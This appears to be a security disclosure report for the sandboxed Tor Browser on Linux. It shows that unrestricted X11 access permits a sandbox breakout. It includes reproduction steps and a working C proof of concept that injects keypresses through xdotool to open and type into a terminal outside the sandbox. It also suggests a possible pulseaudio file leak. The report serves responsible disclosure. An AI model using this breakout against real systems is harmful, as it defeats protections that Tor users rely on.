Tor: Linux sandbox breakout via X11


From inside the Linux sandbox described in https://blog.torproject.org/blog/tor-browser-70-released, it is still possible to talk to the X server without any restrictions.  This means that a compromised browser can e.g. use the XTEST X protocol extension at https://www.x.org/releases/X11R7.7/doc/xextproto/xtest.html to fake arbitrary keyboard and mouse events, directed at arbitrary windows. This permits a sandbox breakout, e.g. by injecting keypresses into a background window.

https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Sandbox/Linux#HowdoIprotectmyselffromXexploits mentions that the X server is reachable, but it sounds like the author didn't realize that a normal connection to the X server permits sandbox breakouts by design.

To reproduce:

Install Debian Jessie with the Xfce4 desktop environment and with
backports enabled.
Install bubblewrap and xdotool.
Install the sandboxed Tor browser from
https://www.torproject.org/dist/torbrowser/7.0a4/sandbox-0.0.6-linux64.zip
Launch the sandboxed Tor browser, use the default configuration. When
the browser has launched, close it.
Delete ~/.local/share/sandboxed-tor-browser/tor-browser/Browser/firefox.
Store the following as ~/.local/share/sandboxed-tor-browser/tor-browser/Browser/firefox.c:

=========================
#include <stdlib.h>
#include <unistd.h>

int main(void){
  int status;
  setenv("LD_LIBRARY_PATH", "/home/amnesia/sandboxed-tor-browser/tor-browser", 1);
  if (fork() == 0) {
    execl("/home/amnesia/sandboxed-tor-browser/tor-browser/xdotool", "xdotool", "key", "alt+F2", "sleep", "1", "type", "xfce4-terminal", NULL);
    perror("fail");
    return 0;
  }
  wait(&status);
  if (fork() == 0) {
    execl("/home/amnesia/sandboxed-tor-browser/tor-browser/xdotool", "xdotool", "sleep", "1", "key", "Return", "sleep", "1", "type", "id", NULL);
    perror("fail");
    return 0;
  }
  wait(&status);
  if (fork() == 0) {
    execl("/home/amnesia/sandboxed-tor-browser/tor-browser/xdotool", "xdotool", "sleep", "1", "key", "Return", NULL);
    perror("fail");
    return 0;
  }
  wait(&status);
  while (1) sleep(1000);
  return 0;
}
=========================

In ~/.local/share/sandboxed-tor-browser/tor-browser/Browser, run
"gcc -static -o firefox firefox.c".
Run "cp /usr/bin/xdotool /usr/lib/x86_64-linux-gnu/* ~/.local/share/sandboxed-tor-browser/tor-browser/".
Now run the launcher for the sandboxed browser again. Inside the
sandbox, the new firefox binary will connect to the X11 server and
send fake keypresses to open a terminal outside the sandbox and type
into it.

There are probably similar issues with pulseaudio when it's enabled;
I suspect that it's possible to e.g. use the pulseaudio socket to load
pulseaudio modules with arbitrary parameters, which would e.g. permit
leaking parts of files outside the sandbox by using them as
authentication cookie files for modules that implement audio streaming
over the network.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.



Found by: jannh